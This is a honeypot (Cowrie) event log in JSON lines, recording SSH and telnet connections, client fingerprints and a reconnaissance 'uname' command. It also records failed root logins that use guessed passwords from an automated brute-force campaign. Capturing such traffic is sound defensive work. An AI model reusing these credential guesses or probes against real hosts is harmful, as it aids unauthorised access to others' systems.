{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:04.787014Z","src_ip":"31.40.204.166","session":"d07fb90311ce","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.264698Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.268626Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":28.961766004562378,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.276234Z","src_ip":"152.42.224.71","session":"e6e61ed5668c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00085258483887,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.283389Z","src_ip":"152.42.224.71","session":"fb08bdec1633","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.512124Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"username","password":"password","message":"login attempt [username/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:05.588869Z","src_ip":"31.40.204.166","session":"d07fb90311ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.774351835250854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:06.900046Z","src_ip":"152.42.224.71","session":"0a11cc82954a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:06.918113Z","src_ip":"31.40.204.166","session":"d07fb90311ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50838,"dst_ip":"10.17.0.5","dst_port":23,"session":"a474cf8a8215","protocol":"telnet","message":"New connection: 152.42.224.71:50838 (10.17.0.5:23) [session: a474cf8a8215]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:07.624835Z"}
{"eventid":"cowrie.session.closed","duration":"5.7","message":"Connection lost after 5.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:09.460441Z","src_ip":"47.237.167.49","session":"b287392335ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44024,"dst_ip":"159.203.135.109","dst_port":22,"session":"483f7617dc45","protocol":"ssh","message":"New connection: 77.94.47.83:44024 (159.203.135.109:22) [session: 483f7617dc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.238591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.244687Z","src_ip":"77.94.47.83","session":"483f7617dc45","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.369800Z","src_ip":"77.94.47.83","session":"483f7617dc45","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39138,"dst_ip":"10.17.0.5","dst_port":22,"session":"99ed65706b4a","protocol":"ssh","message":"New connection: 103.195.236.96:39138 (10.17.0.5:22) [session: 99ed65706b4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.383490Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.389326Z","src_ip":"103.195.236.96","session":"99ed65706b4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.628838Z","src_ip":"103.195.236.96","session":"99ed65706b4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"333666999","message":"login attempt [root/333666999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:10.743455Z","src_ip":"77.94.47.83","session":"483f7617dc45","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ccbeeaaccafeb","message":"login attempt [root/ccbeeaaccafeb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:11.350393Z","src_ip":"103.195.236.96","session":"99ed65706b4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:11.870623Z","src_ip":"77.94.47.83","session":"483f7617dc45","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:12.592213Z","src_ip":"103.195.236.96","session":"99ed65706b4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":43774,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c8828e9e0f4","protocol":"ssh","message":"New connection: 31.40.204.166:43774 (159.203.135.109:22) [session: 4c8828e9e0f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:17.216078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:17.221934Z","src_ip":"31.40.204.166","session":"4c8828e9e0f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:17.398180Z","src_ip":"31.40.204.166","session":"4c8828e9e0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48676,"dst_ip":"10.17.0.5","dst_port":23,"session":"5949bfa33b1e","protocol":"telnet","message":"New connection: 152.42.224.71:48676 (10.17.0.5:23) [session: 5949bfa33b1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:17.701226Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:17.826090Z","src_ip":"31.40.204.166","session":"4c8828e9e0f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:19.011720Z","src_ip":"31.40.204.166","session":"4c8828e9e0f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48678,"dst_ip":"10.17.0.5","dst_port":23,"session":"823fad81255b","protocol":"telnet","message":"New connection: 152.42.224.71:48678 (10.17.0.5:23) [session: 823fad81255b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:23.613840Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48688,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3394e42ad87","protocol":"telnet","message":"New connection: 152.42.224.71:48688 (10.17.0.5:23) [session: a3394e42ad87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:24.601925Z"}
{"eventid":"cowrie.session.closed","duration":53.13866090774536,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:26.125986Z","src_ip":"152.42.224.71","session":"a82feeacac02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.046863079071045,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:27.993619Z","src_ip":"152.42.224.71","session":"7357e5a1d6ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58404,"dst_ip":"159.203.135.109","dst_port":22,"session":"531e343895fe","protocol":"ssh","message":"New connection: 31.40.204.166:58404 (159.203.135.109:22) [session: 531e343895fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:28.982868Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:28.987966Z","src_ip":"31.40.204.166","session":"531e343895fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:29.118342Z","src_ip":"31.40.204.166","session":"531e343895fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00154733657837,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:29.628474Z","src_ip":"152.42.224.71","session":"14af54a7a9d2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"cw","password":"cw","message":"login attempt [cw/cw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:29.994589Z","src_ip":"31.40.204.166","session":"531e343895fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:31.181557Z","src_ip":"31.40.204.166","session":"531e343895fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76447796821594,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:31.582721Z","src_ip":"152.42.224.71","session":"dd5d83c8a174","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34480,"dst_ip":"10.17.0.5","dst_port":23,"session":"850b30203977","protocol":"telnet","message":"New connection: 152.42.224.71:34480 (10.17.0.5:23) [session: 850b30203977]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:32.228179Z"}
{"eventid":"cowrie.session.closed","duration":38.833014249801636,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:34.890639Z","src_ip":"152.42.224.71","session":"b3eeed62cf06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.98.239","src_port":33072,"dst_ip":"10.17.0.5","dst_port":22,"session":"af735a228777","protocol":"ssh","message":"New connection: 94.159.98.239:33072 (10.17.0.5:22) [session: af735a228777]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:36.470478Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:36.478253Z","src_ip":"94.159.98.239","session":"af735a228777","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:36.596589Z","src_ip":"94.159.98.239","session":"af735a228777","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20061988","message":"login attempt [root/20061988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:36.966514Z","src_ip":"94.159.98.239","session":"af735a228777","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:38.111183Z","src_ip":"94.159.98.239","session":"af735a228777","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":58796,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a03febb4f1","protocol":"ssh","message":"New connection: 31.40.204.166:58796 (159.203.135.109:22) [session: 06a03febb4f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:40.508986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:40.513567Z","src_ip":"31.40.204.166","session":"06a03febb4f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:40.685500Z","src_ip":"31.40.204.166","session":"06a03febb4f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aa123456","message":"login attempt [root/aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T02:19:41.096845Z","src_ip":"31.40.204.166","session":"06a03febb4f1","protocol":"ssh"}
